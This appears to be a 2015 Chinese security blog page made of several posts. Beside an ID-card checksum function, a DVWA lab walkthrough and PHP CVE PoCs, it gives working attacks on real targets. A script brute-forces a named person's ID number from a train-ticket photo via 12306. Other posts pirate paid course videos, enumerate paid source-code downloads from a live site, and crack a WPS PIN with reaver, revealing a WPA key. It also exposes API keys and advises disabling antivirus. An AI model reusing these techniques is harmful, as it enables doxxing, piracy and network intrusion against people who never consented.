身份证号码验证算法 (PHP JavaScript 代码) 技术文章

18 位身份证号码结构

1-2 位省、自治区、直辖市代码
3-4 位地级市、盟、自治州代码
5-6 位县、县级市、区代码
7-14 位出生年月日,比如19670401代表1967年4月1日
15-17 位为顺序号,其中17位 为性别 男为单数,女为双数
18 位为校验码,0-9和X。作为尾号的校验码 (计算方法下面有)
举例:
130503 19070101 0013 这个身份证号的含义: 13为河北,05为邢台,03为桥西区,出生日期为1967年4月1日,顺序号为001 (1 性别 男),2为校验码。


15 位的身份证相比 18 出生年月 中的 年 为两位, 且缺少 最后一位 校验码

身份证校验码的计算方法

计算最后一位校验码的具体步骤

  1. 17 号码 加权求和 注: 1-17位 加权因子分别为 7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2
  2. 上一步所求的和 取模 (下面的 代码 用的是 取余)
  3. 上一步的 结果 0 - 10 分别对应 的 校验码 为 1, 0, 'X', 9, 8, 7, 6, 5, 4, 3, 2


判断身份证号码是否正确的 函数

下面是 判断身份证号码是否正确的 函数封装 分别为 PHP JS

传入 身份证号码 返回校验结果 true false

/* PHP 验证 身份证号 */
function ckeckIdCard($id){
    static $codeArr = array(1,0,'X',9,8,7,6,5,4,3,2),
        $keyArr = array(7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2);
    $id = strtoupper($id);
    if(!preg_match('/^[\d]{17}[\dX]{1}$/', $id)) return false;

    $num = 0;
    for($i=0; $i<17; $i++){
        $num += $id[$i] * $keyArr[$i];
    }
    $key = $num % 11;
    return substr($id, -1) == $codeArr[$key];
}
/* JS 验证 身份证号 */
function ckeckIdCard($id){
    var $codeArr = [1,0,'X',9,8,7,6,5,4,3,2],
        $keyArr = [7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2];
    $id = $id.toUpperCase();
    if(!/^[\d]{17}[\dX]{1}$/.test($id)) return false;

    $num = 0;
    for($i=0; $i<17; $i++){
        $num += $id[$i] * $keyArr[$i];
    }
    $key = $num % 11;
    return $id.slice(-1) == $codeArr[$key];
}


原文出自简爱博客 http://www.gouji.org/?post=378 觉得不错 转载.如有不便,请联系管理员.


admin 发布于  2015-7-17 19:13 

破解火车票上的身份证号码 技术文章

首先我在百度上找到了一个他人的火车票图片
huoche_1
接着从图片里我们可以获取到信息如下:

姓名 梅勇
性别 男 (倒数第四位至倒数第二位3位数为顺序码,顺序码为奇数所以为男性)
(可参考http://www.cnblogs.com/xudong-bupt/p/3293838.html)
来自 武汉市新洲区 (身份证号码前六位代表地区)
(可参考http://www.stats.gov.cn/tjsj/tjbz/xzqhdm/200406/t20040607_38302.html)

身份证号码:4201171988xxxx1638

得到上述消息后,我们可以通过身份证号码验证算法对其进行有效性验证和排除。
(可参考http://www.cnblogs.com/xudong-bupt/p/3293838.html)

我用JS实现了一个有效性验证,代码如下:


var sfz_qian="4201171988";
var sfz_hou4="1638";
var sfzhm="";
for(i=1;i<=12;i++)
{
  //为了程序的方便,我就假设每个月有31天
  for(j=1;j<=31;j++){
        if(i<10){
            if(j<10){
                sfzhm=sfz_qian+"0"+i+"0"+j+sfz_hou4;
            }else{
                sfzhm=sfz_qian+"0"+i+j+sfz_hou4;
            }
            result=getvalidcode(sfzhm);
                if(result!=false){
                        console.log(result);
                }

        }else{
            if(j<10){
                               sfzhm=sfz_qian+i+"0"+j+sfz_hou4;
                        }else{
                               sfzhm=sfz_qian+i+j+sfz_hou4;
                        }
            result=getvalidcode(sfzhm);
                if(result!=false){
                  console.log(result);
                    }

        }       

        }
    }

function getvalidcode(sfzhm_new){

var sum=0;
var weight=[7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2];
var validate=['1','0','X','9','8','7','6','5','4','3','2'];
for(m=0;m<sfzhm_new.length-1;m++){
sum+=sfzhm_new[m]*weight[m];
}
mode=sum%11;
if(sfzhm_new[17]==validate[mode]){
    return sfzhm_new;
}else{
    return false;
}

}

代码运行后如下:

huoche_2

接着我们导出35条记录做为字典,拿到12306进行暴力添加常用联系人,最后我们得到了该图片上面的身份证号码了

huohce_3

文章来自网络.如有侵权,请联系管理员.



admin 发布于  2015-7-13 23:09 

如何下载新东方的在线视频小计-已成功crack 技术文章

如何下载新东方的在线视频小计-已成功crack,Mrxn再次小计一下,一般日后查看.当然呢,各位需要的也可以留言帮你下载的.

04.png

首先呢,这个零基础法语语音入门课程是需要9.9元的.还是有点小贵! 最主要的是电脑端不能下载.在新东方在线手机APP端可以缓存....这是我所不能容忍的......

内容大致如下:

03.png

下图是Mrxn下载完所有的教程截图:

01.png

于是我就想下载下来.但是几经尝试,还是未果,常见的抓取下载方式都失败了.已近花费了我两个小时.......

不甘心....既然是flash播放,cookie存放信息,就没有理由找不到视屏原地址,甚至把新东方的swf逆向解码了,下面是swf的源代码:
05.png

从中得到了一个比较有用的信息就是下面的这个句子:

rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_1_1.mp4

因为当时看的是第一节的第一小节,我就想这文件命名是不是这个规律,只是后面的数字不同,代表不同的节数.最后证实这是正确的.

rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_1_1.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_1_2.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_1_3.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_1_4.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_1_5.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_2_1.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_2_2.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_2_3.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_2_4.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_2_5.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_2_6.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_2_7.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_2_8.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_2_9.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_2_10.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_2_11.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_2_12.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_3_1.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_3_2.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_3_3.mp4
rtmp://fms.koolearn.com/vod2/mp4:xyz/fy/2014_fy_fyyy_Lww_3_4.mp4
这是后话,只不过,如何下载呢?  rtmp  我之前还只是在网上看到过这个,现在自己遇到了.真的很棘手,因为现在我国大部分的网站采用的都是http协议的视屏播放.即本地播放.所以都很容易下载.  rtmp则是一种较新的协议.采用服务器实时播放.想在本地保存视屏就没那么容易了.

我又不是通信专业的,有没学过通信协议,顶多学过TCP/IP协议...那就只有向google 百度求救...终于找到方法下载,可是却不成功.....最终在hackup的提醒下,我成功的下载了rtmp视屏,还专门测试了新东方及其他采用rtmp协议播放视屏的网站,都成功了.

估计很多人都想知道怎么下载的,但是,处于版权原因,我就不再博客说明了.需要下载rtmp 新东方视屏的可以找我帮你下载.至少目前是可以成功下载的.明天把我今天自己下载的视屏分享给大家吧.希望可以帮助到有兴趣的童鞋.



admin 发布于  2015-7-1 20:04 

MySQL中的一个有趣的逻辑漏洞 渗透测试

遇到MySQL中的一个有趣的逻辑漏洞,给大家分享一下.

某系统数据库是mysql。user表有个code字段,类型是int(11),这个字段是保存一个随机数,用来找回密码的时候做验证,默认值是0。

找回密码时候的步骤是,首先填写自己邮箱,接收重置密码的邮件,点击链接,访问如下代码:

if (!empty($_GET['email']) && !empty($_GET['code'])) 
{ 
    if (!$db->count('user',"email='{$_GET['email']}' AND code='{$_GET['code']}'")) 
        die('error'); 
    $_SESSION['email'] = $_GET['email']; 
    ... 
}

在数据库中查找email=$_GET['email']并且code=$_GET['code']的行数,如果行数为0则die出去,否则设置$_SESSION['email'] = $_GET['email']; 
最后就以$_SESSION['email']内存储的邮箱重置密码。 

看似似乎没问题,只有当email为你的email,并且你知道他的随机code的时候,才能不die,才能获得$_SESSION['email']。 
但关键问题就是:code的默认值是0,也就是说所有用户只要没有重置过密码,他的code就是0,所以等于说我知道了所有用户的code,那我不就可以重置所有用户的密码了吗? 

不不,等下,我们看到这行代码: 
if (!empty($_GET['email']) && !empty($_GET['code'])) 
必须要!empty($_GET['code'])的时候,才可能进入这个if语句。熟悉php的人都知道,empty(0)是返回真的。所以说,如果$_GET['code']=0的话,根本进不来这个if语句。 
那怎么办? 


又涉及到mysql一个tip,很容易犯错的点。 
我 之前说了,code这个字段的类型是整型int(11)。而在mysql里面,当字段类型为整型,而where语句中的值不为整型的时候,会被转换成整型 才放入查询。也就是说,如果where code='xxx',xxx不为整型的话,则会先将xxx转换成整数,才放入查询。 
也就是说,如果我们传入的字符串为0aaa,则会转换成0,再执行。 
我们可以来做个试验, 
0015.jpg
上图大家可以看到,select count(*) from `user` where `id`='0a';和select count(*) from `user` where `id`='0';得到的结果都是1。 

所 以通过这个tip,就可以绕过if (!empty($_GET['email']) && !empty($_GET['code'])),只要我们传入的$_GET['code']=0xxx,就可以进入if语句,并且让select count(*)语句返回1,最后找回任意用户密码,不需要爆破。

注:本文属于Mrxn网络转载,原地址:https://www.leavesongs.com/PENETRATION/findpwd-funny-logic-vul.html


admin 发布于  2015-6-28 01:07 

十大渗透测试系统之---DVWA1.0.8练习笔记(二) 渗透测试

1.Command Execution (命令执行) --- Ping测试

我们打开dvwa后选择-Command Execution可以看到:

06-13-42-18.png

那我们在文本框随便输入一个IP看看,我输入 192.168.1.1 得到如下结果:

06-13-50-42.png

可以ping 说明是可以执行命令的 ,那我们试试加上一些命令呢? 例如加上列目录的命令 &dir (Linux下不一样  自行修改)

06-13-56-05.png

OK,至此说明命令执行测试成功,至于还可以干啥,什么命令就自己慢慢练习吧.

源码如下:


<pre style="overflow:auto" ;class="prettyprint lang-php linenums"> <?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>

攻防FAQ:


  命令执行(命令注入)攻击的目的,是在易受攻击的应用程序中执行攻击者指定的命令,在这样的情况下应用程序执行了不必要的命令就相当于是攻击者得到了一个系统的Shell,攻击者可以利用它绕过系统授权,基于权限继承原则,Shell将具有和应用程序一样的权限。

      命令执行是由于开发人员对用户的输入未进行严格的过滤导致,通常可以通过表单,cookie,以及http头进行操作。

      针对linux系统,我们可以使用;来实行命令执行,针对windows系统,我们可以使用&&来实行命令执行。例如: 127.0.0.1 && dir


2.Cross Site Request Forgery (CSRF--跨站请求伪造)

06-14-00-28.png

密码就自动被修改了.

其源码如下:


<pre style="overflow:auto" ;class="prettyprint lang-php linenums"> <?php
if (isset($_GET['Change'])) {
// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE users SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Passwords did not match. </pre>";
}
}
?>

攻防FAQ:


  跨站请求伪造(cross-site request forgery)通常缩写为XSRF,直译为跨站请求伪造,即攻击者通过调用第三方网站的恶意脚本或者利用程序来伪造请求,当然并不需要向用户端伪装任何 具有欺骗的内容,在用户不知情时攻击者直接利用用户的浏览器向攻击的应用程序提交一个已经预测好请求参数的操作数据包,利用的实质是劫持用户的会话状态, 强行提交攻击者构造的具有“操作行为”的数据包。可以看出,最关键的是劫持用户的会话状态,所以说,导致XSRF漏洞的主要原因是会话状态的保持没有唯一 时间特征的标识,即是说在使用HTTPCookie传送会话令牌的过程中,应该更谨慎的判断当前用户,而不是简单的通过操作数据包的Cookie值来鉴 别,简单的说是每次数据交互时,对提交的数据包实行唯一性标识。

3.Insecure CAPTCHA (不安全的验证码)

我们需要创建一个reCAPTCHA秘钥,打开https://www.google.com/recaptcha/admin/create 即可创建,需要查资料的同学,请查看我之前发布的免费VPN:https://mrxn.net/free/173.html  或者是使用我提供的这两个:

$_DVWA['recaptcha_public_key'] = "6Lch89YSAAAAAPtf0M1lXQnqx3lBH27Syob4Xe9I";
$_DVWA['recaptcha_private_key'] = "6Lch89YSAAAAANFwnpEQMwVvCg90mzTF_FuAwcr5";

然后在更改密码输入框就会出现验证码:

06-14-33-45.png

这时候我们输入新密码 不用输入验证码就可以修改密码.

源码:

<?php
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '1' ) ) {
    $hide_form = true;
    $user = $_POST['username'];
    $pass_new = $_POST['password_new'];
    $pass_conf = $_POST['password_conf'];
    $resp = recaptcha_check_answer ($_DVWA['recaptcha_private_key'],
        $_SERVER["REMOTE_ADDR"],
        $_POST["recaptcha_challenge_field"],
        $_POST["recaptcha_response_field"]);
    if (!$resp->is_valid) {
        // What happens when the CAPTCHA was entered incorrectly
        echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;    
    } else {
            if (($pass_new == $pass_conf)){
            echo "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes. <br /></pre>";
            echo "
            <form action=\"#\" method=\"POST\">
                <input type=\"hidden\" name=\"step\" value=\"2\" />
                <input type=\"hidden\" name=\"password_new\" value=\"" . $pass_new . "\" />
                <input type=\"hidden\" name=\"password_conf\" value=\"" . $pass_conf . "\" />
                <input type=\"submit\" name=\"Change\" value=\"Change\" />
            </form>";
            }    
            else{
                    echo "<pre> Both passwords must match </pre>";
            $hide_form = false;
            }
    }
}
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '2' ) ) 
{
    $hide_form = true;
        if ($pass_new != $pass_conf)
        {
                echo "<pre><br />Both passwords must match</pre>";
        $hide_form = false;
                return;
        }
        $pass = md5($pass_new);
        if (($pass_new == $pass_conf)){
               $pass_new = mysql_real_escape_string($pass_new);
               $pass_new = md5($pass_new);
               $insert="UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
               $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
               echo "<pre> Password Changed </pre>";
               mysql_close();
        }
        else{
               echo "<pre> Passwords did not match. </pre>";
        }
}
?> 
攻防FAQ:

CAPTCHA 是一种人机识别的程序,用来判断访问网站的是人还是机器,你应该看到过很多网站使用了扭曲的图片或者是文字来防止"机器人"或者其它自动化的程序,CAPTCHA可以保护网站免受垃圾信息的骚扰,因为没有计算机可以识别这种技术。

CAPTCHAs通常用来保护敏感信息,防止被机器人(自动化程序)滥用,比如用户登陆,更改密码,发布内容等等。本例中CAPTCHAs保护更改管理员密码功能,它可以从一定限度上防止CSRF攻击和自动化猜解工具。

本例中的CAPTCHA很容易绕过,开发人员假设所有人都可以通过第一关的认证进行下一关,其中的密码是实际的更改,提交新密码后将直接更新到数据库中。

在低安全级别来完成此次挑战所需要的参数如下:

step=2&password_new=password&password_conf=password&Change=Change

在中安全级别,开发者试图保持会话状态并跟踪它是否完成之前提交的验证码,但是("passed_captcha")状态是在在客户端上提交,所以也可以很容易绕过:

step=2&password_new=password&password_conf=password&passed_captcha=true&Change=Change

在高安全级别,开发者移除了所有的攻击途径,处理过程得到简化,使数据和CAPTCHA验证发生在一个单一的步骤,另外开发者将状态变量存佬在服务器端。


注:都是博主自己测试玩耍的,大牛绕道.菜鸟勿喷.


admin 发布于  2015-6-25 13:38 

免费下载江门网站设计的网页整站源码 网络安全

今天Mrxn给大家分享一个干货....免费下载江门网站设计的网页整站源码

其原网站的整站源码很贵的说:

01.png

作为屌丝的我们买不起,但是要是你看上了其中的一款源码呢?咋办?看我给你演示如何下载的,跟我来学习这种淫荡的姿势吧!

首先打开:http://www.jm15.com/design/download/login.asp

02.png

随便输入一个>6位数的就行;

然后咧:03.png 进去后点击---下载新的网页设计--

继续:04.png 选择---整站---

然后会发现一个重要提醒:就在您现在的位置下面--点进去会发现亮点哟:

05.png

这就是关键了,相信懂得都知道怎么操作了;我还是给不懂得朋友说说吧:

看到图就可以猜测,我们是不是可以自己构造下载语句呢?

那就来试试吧!

06.png

纳尼,在浏览器地址栏输入:http://demo.jm15.com:99/download/4204a3088a26bc2e.zip  回车,居然可以下载的....

那么,该时候爆发你的奇淫技巧的时候了:

4204a3088a26bc2e ---拿到MD5网站解密如下:

07.png

652 ---纳尼! -_- | 这不就是文件编号么.....

OK,新技能get!  那我们就可以自己构造要下载的所有的源码了:

http://demo.jm15.com:99/download/4204a3088a26bc2e.zip  把Zip前面的蓝色MD5值替换一下就OK啦:

08.png

在这里提供一个网站供大家测试使用:http://www.md5.cc   你只需要输入数字 下面立马就出MD5值的16位结果了....是不是很爽......

注:此文所有内容仅供测试参考之用,禁止用于非法用途.

另;已通知其管理员,所以骚年们,要测试的赶紧呀!

09.png 其实用百度云离线下载是个不错的方法! -_- |


标签: 分享 源码

admin 发布于  2015-6-23 23:09 

PHP一次性爆出三个cve漏洞 网络安全

火狐截图_2015-06-21T03-01-35.019Z.png

研究人员在近期发现php三个漏洞。这三个漏洞分别是:os命令注入漏洞、在堆里面的整型溢出漏洞,还有个本地段错误漏洞。第一个是新漏洞,后两个是由于补丁修补不全重新导致的漏洞。

首先让我们来看第一个漏洞:OS command injection vulnerability in escapeshellarg[CVE-2015-4642.]

顾名思义,第一个漏洞是一个函数命令注入漏洞。

贴上poc:

poc.php

1
2
3
4
5
6
7
<?php
 $a 'a\\';
 $b 'b -c d\\';
 var_dump( $aescapeshellarg($a) );
 var_dump( $bescapeshellarg($b) );
 system( 'php arginfo.php ' escapeshellarg($a) . ' ' escapeshellarg($b) )
?>
1
2
3
4
<?php    
  print"--- ARG INFO ---\n" );     
  var_dump( $argv );   
?>

arginfo.php

根据poc,我们发现是一个escapeshellarg()函数命令注入漏洞。

图1:

火狐截图_2015-06-21T03-03-05.962Z.png

根据我的本地测试以及作者告诉我们如果输出图1中的内容,则表示你的php版本存在该漏洞。

图2:

火狐截图_2015-06-21T03-03-23.140Z.png

若是图2则表示漏洞已经修复。

输出output如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
string(2) "a\"
string(4) ""a\""
string(7) "b -c d\"
string(9) ""b -c d\""
--- ARG INFO ---
array(4) {
 [0]=>
 string(11) "arginfo.php"
 [1]=>
 string(4) "a" b"
 [2]=>
 string(2) "-c"
 [3]=>
  string(2) "d""
}

根据poc作者的解释:

前4行输出的结果是poc.php中var_dump函数的功能。通过比较输出结果与poc.php中第4、5两行,从escapeshellarg函数的输出结果可以看出攻击者可以设置一个字符串,而不是绕过一个参数。

同样,第10行在arginfo.php,这是通过var_dump输出的。通过比较,我们发现系统函数被调用在poc.php的时候是两个参数的,但是在命令行解释的时候是3个参数的。

根据https://git.php.net/?p=php-src.git;a=commitdiff;h=d2ac264ffea5ca2e85640b6736e0c7cd4ee9a4a9发布的补丁信息,我们发现他们过滤了。

通过我们实验室的小伙伴的测试,作者给的poc只有PHP 5.6.9版本受影响,另外测试的PHP 5.4.41不受影响。

接下来是第二个漏洞:PHP 5.6.9 Integer overflow in ftp_genlist() resulting in heap overflow [CVE-2015-4643]

http://p9.qhimg.com/t01f212d34223a1dc5a.png

根据Max Spelsberg的邮件内容,我们知道在recv loop,size 可以被递增两处。一个在‘size+=rcvd’,另一个在‘size++’。这意味着size可以递增超过rcvd的每次迭代,从而使溢出检查能够被绕过。

Size能够递增最多rcvd*2次迭代,这就是为什么我曾建议修复rcvd*2,而不仅仅是rcvd。

为了正确的修复这个bug,我建议除了溢出检查以外,还需要排除其他原因导致size通过rcvd增加,或者通过迭代。从而保证溢出检查不被绕过。

值得注意的是,并不是因为分支功能不是必要的,就没必要使其复杂化。

另外我们通过,http://git.php.net/?p=php-src.git;a=commitdiff;h=0765623d6991b62ffcd93ddb6be8a5203a2fa7e2补丁对比 ,

火狐截图_2015-06-21T03-06-35.302Z.png

发现对size进行了处理。

最后,让我们来看第三个漏洞:segfault in php_pgsql_meta_data

根据官方bug详情,用一段特殊的php代码,可以引起一个段错误在php_pgsql_meta_data。

1
pg_insert($conn'.',  array('foo' => 'bar')

这是因为#68741的不完全修复导致的。

Strok_r的返回值不在php_pgsql_meta_data检查导致的一个本地段错误。

详细补丁可通过https://git.php.net/?p=php-src.git;a=commitdiff;h=2cc4e69cc6d8dbc4b3568ad3dd583324a7c11d64查看比较。

综上所述,前两个漏洞要想利用,给看远程的PHP代码是怎么写的,才能触发,而且都是针对PHP 5.6.9这个版本的。最后一个是本地的漏洞,实际攻击用处不大。


标签: 漏洞 php cve

admin 发布于  2015-6-21 10:00 

解决火狐浏览器启动缓慢或者假死的四种方法小计 技术文章

作为一个前段开发者,火狐和Google浏览器是必备的工具之一,但是我最近发现,打开火狐速度很慢,有的时候像是假死,需要等几十秒钟才能打开,我上网搜索了一下,发现很多人都存在这个问题,我找到了解决的方法,在此小计一下,希望可以帮到那些出现同样问题的朋友。下面提供了四中方法解决:

方法1:增加启动参数

06-09-37-01.png


右键点击火狐浏览器的快捷方式,在“属性”—“快捷方式”—“目标”,加上参数“ /Prefetch:1”。即:"C:Program Files/Mozilla Ffoxfirefox.exe" /Prefetch:1”(注意:“/”前有空格)还有一个方法是增加“ -turbo”,具体操作方法同上面的一样。


方法2: 修改about:config


本来这个方法在一些文章中说是加快浏览速度的,但是我发现,也可以起到减少火狐启动时间的问题。


1.在火狐地址栏里输入“about:config”,等系统调用完毕之后按照下列步骤:


2.更改 "network.http.pipelining" 为 ture


3.更改 "network.http.proxy.pipelining" 为 ture


4.更改 "network.http.pipelining.maxrequests" 为 8


方法3:其他方法


比如关闭其他扩展插件法、去掉skin和Theme、取消自动更新等等方法。


有人说如果使用了SWITCH PROXY插件的话,其中NOTIFY ME OF UPDATE选项会造成火狐浏览器假死。还有SAVED SESSION/RESTORE TAB也可能造成。


方法4: 关闭杀毒软件法


很多朋友说火狐打开缓慢是由于杀毒软件的原因,可能是与瑞星或者卡巴斯基等杀毒软件冲突了,所以关闭了杀毒软件打开就快了,呵呵。这样做其实也没啥,因为现在网上绝大多数的病毒都是针对IE内核的浏览器,就算用火狐裸奔也是十分安全的。


总之,火狐打开速度缓慢的原因可能很多种,要根据你的实际情况来判断和调整。Mrxn就总结到这里,以后有新的方法,我会继续更新的,欢迎转载,请保留链接,谢谢。

标签: 火狐 启动

admin 发布于  2015-6-15 08:35 

使用猜解PIN破解无线路由密码 网络安全

目录:

  • 方法一:Kali或BTx
  • 方法二:CDlinux 水滴minidwep-gtk
  • 方法三:CDlinux 打气桶Inflator

路由器的pin码是快速连接功能的识别码。比如你设置个非常复杂的无线密码,每次有设备加入无线网络的时候,输入密码是很麻烦的。这个时候就可以通 过输入8位的pin码,路由器识别后就允许加入网络了,相当于输入了无线密码。在win7下设置路由器的时候要求pin码,也是一种识别验证路由器的方 式。另外这个码也是可以变化的,可以在路由器的qss或wps功能里查询到。默认的pin码在路由器的背面有。

WPS能帮助用户自动设置网络名(SSID)、配置最高级别的WPA2安全密钥,具备这一功能的无线产品往往在机身上设计有一个功能键,称为WPS 按钮,用户只需轻轻按下该按钮或输入PIN码,再经过两三步简单操作即可完成无线加密设置,同时在客户端和路由器之间建立起一个安全的连接。TP- LINK上的叫QSS。

现在默认关闭wps,防pin的路由越来越多了,再不试试猜解PIN破解无线路由密码以后就没机会了。三种方法原理大致一样,只是工具不同而已。

方法一:Kali或BTx

1. Ifconfig #查看当前是否存在无线网卡,iwconfig更简洁,只显示无线网卡信息。

root@NIGER:~# ifconfig
wlan0     Link encap:Ethernet  HWaddr 00:e0:4c:6b:96:bd  
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

2. airmon-ng start wlan0 #开启无线网卡监听模式

root@NIGER:~# airmon-ng start wlan0
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e 
PID Name
3135 dhclient
3167 NetworkManager
3626 wpa_supplicant
Interface Chipset  Driver
wlan0  Realtek RTL8187L rtl8187 - [phy0]
    (monitor mode enabled on mon0)

3. ifconfig #查看一下是否开启成功,成功有话会出现mon0网卡

root@NIGER:~# ifconfig
mon0      Link encap:UNSPEC  HWaddr 00-E0-4C-6B-96-BD-3A-30-00-00-00-00-00-00-00-00  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:358 errors:0 dropped:358 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:28458 (27.7 KiB)  TX bytes:0 (0.0 B)
wlan0     Link encap:Ethernet  HWaddr 00:e0:4c:6b:96:bd  
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

4. wash –i mon0 #列出mon0网卡接收到的开了wps的无线信息,并不是全部无线信息,选择信号最好的,RSSI越大越好,如下,-58最大

root@NIGER:~# wash -i mon0
Wash v1.4 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
BSSID                  Channel       RSSI       WPS Version       WPS Locked        ESSID
---------------------------------------------------------------------------------------------------------------
C0:61:18:00:E7:40       1            -68        1.0               No                CAT-MAITAI
5C:63:BF:44:29:8A       1            -64        1.0               No                dashizi
F4:EC:38:1D:1F:C0       4            -58        1.0               No                TP-LINK_1D1FC0
0C:72:2C:FD:F7:AC      11            -60        1.0               No                myWLAN
^C

5. reaver –i mon0 –b mac –vv –c channel –p pin(pin未知) #-i指定网卡 -b指定路由地址 -c 指定无线信道 -p 指定pin码,一位也不知道就不用加-p,如果知道前4位就输入前4位

root@NIGER:~# reaver -i mon0 -b F4:EC:38:1D:1F:C0 -vv -c 4
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
[+] Waiting for beacon from F4:EC:38:1D:1F:C0
[+] Switching mon0 to channel 4
[+] Associated with F4:EC:38:1D:1F:C0 (ESSID: TP-LINK_1D1FC0)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Sending WSC NACK
[+] Trying pin 12345670
……
[+] 94.85% complete @ 2014-08-05 22:26:18 (7 seconds/pin)
[+] Max time remaining at this rate: 1:06:09 (567 pins left to try)
[+] Trying pin 01894264
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 3056 seconds
[+] WPS PIN: '01894264'
[+] WPA PSK: 'anchao1202'
[+] AP SSID: 'TP-LINK_1D1FC0'

6. reaver –i mon –b mac –p pin(pin已知) #知道pin码就可直接出密码

root@NIGER:~# reaver -i mon0 -b F4:EC:38:1D:1F:C0 -p 01894264
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
[+] Waiting for beacon from F4:EC:38:1D:1F:C0
[+] Associated with F4:EC:38:1D:1F:C0 (ESSID: TP-LINK_1D1FC0)
[+] WPS PIN: '01894264'
[+] WPA PSK: 'anchao1202'
[+] AP SSID: 'TP-LINK_1D1FC0'

7. 小技巧一:伪造自己mac地址,

root@NIGER:~# ifconfig wlan0 down
root@NIGER:~# macchanger -m 00:11:22:33:44:55 wlan0
Current MAC: xx:xx:xx:xx:xx:xx
Faked MAC: 00:11:22:33:44:55
root@NIGER:~# ifconfig wlan0 up
root@NIGER:~# ifconfig mon0 down
root@NIGER:~# macchanger -m 00:11:22:33:44:55 mon0
Current MAC: xx:xx:xx:xx:xx:xx
Faked MAC: 00:11:22:33:44:55
root@NIGER:~# ifconfig mon0 up

方法二:CDlinux 水滴minidwep-gtk

1.S扫描

w1

2.Reaver 添加-N参数使更准确稳定

w2

w3

w4

3.技巧一:自己设置pin码,意思是前4位先跑什么范围,如下图,会先猜测0-999,然后是7000-7999,

w5

w6

4.技巧二:修改记录文件设置从上次记录开始

w7

方法三:CDlinux 打气桶Inflator

1.开启网卡混杂模式

w8

